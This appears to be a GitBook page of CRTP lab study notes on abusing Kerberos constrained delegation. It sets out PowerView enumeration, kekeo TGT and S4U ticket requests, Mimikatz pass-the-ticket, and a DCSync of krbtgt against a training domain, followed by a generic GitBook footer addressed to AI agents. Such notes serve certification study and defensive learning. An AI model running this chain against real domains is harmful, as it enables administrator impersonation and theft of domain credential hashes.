> For the complete documentation index, see [llms.txt](https://omar-4.gitbook.io/omar-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://omar-4.gitbook.io/omar-docs/crtp-notes/domain-privilege-escalation/constrained-delegation.md). # Constrained Delegation If you have an account or computer with the constrained delegation privilege, it is possible to impersonate any other user and authenticate yourself to a service where the user is allowed to delegate. #### Enumerate **Enumerate users with contrained delegation enabled** ``` Get-DomainUser -TrustedToAuth Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto ``` **Enumerate computers with contrained delegation enabled** ``` Get-Domaincomputer -TrustedToAuth Get-Domaincomputer -TrustedToAuth | select samaccountname, msds-allowedtodelegateto ``` #### Constrained delegation User **Requesting TGT with kekeo** ``` ./kekeo.exe Tgt::ask /user: /domain: /rc4: ``` **Requesting TGS with kekeo** ``` Tgs::s4u /tgt: /user:Administrator@ /service:cifs/dcorp-mssql.dollarcorp.moneycorp.local ``` **Use Mimikatz to inject the TGS ticket** ``` Invoke-Mimikatz -Command '"kerberos::ptt "' ``` #### Constrained delegation Computer **Requesting TGT with a PC hash** ``` ./kekeo.exe Tgt::ask /user:dcorp-adminsrv$ /domain: /rc4: ``` **Requesting TGS** No validation for the SPN specified ``` Tgs::s4u /tgt: /user:Administrator@ /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorp-dc.dollarcorp.moneycorp.LOCAL ``` **Using mimikatz to inject TGS ticket and executing DCsync** ``` Invoke-Mimikatz -Command '"Kerberos::ptt "' Invoke-Mimikatz -Command '"lsadump::dcsync /user:\krbtgt"' ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://omar-4.gitbook.io/omar-docs/crtp-notes/domain-privilege-escalation/constrained-delegation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.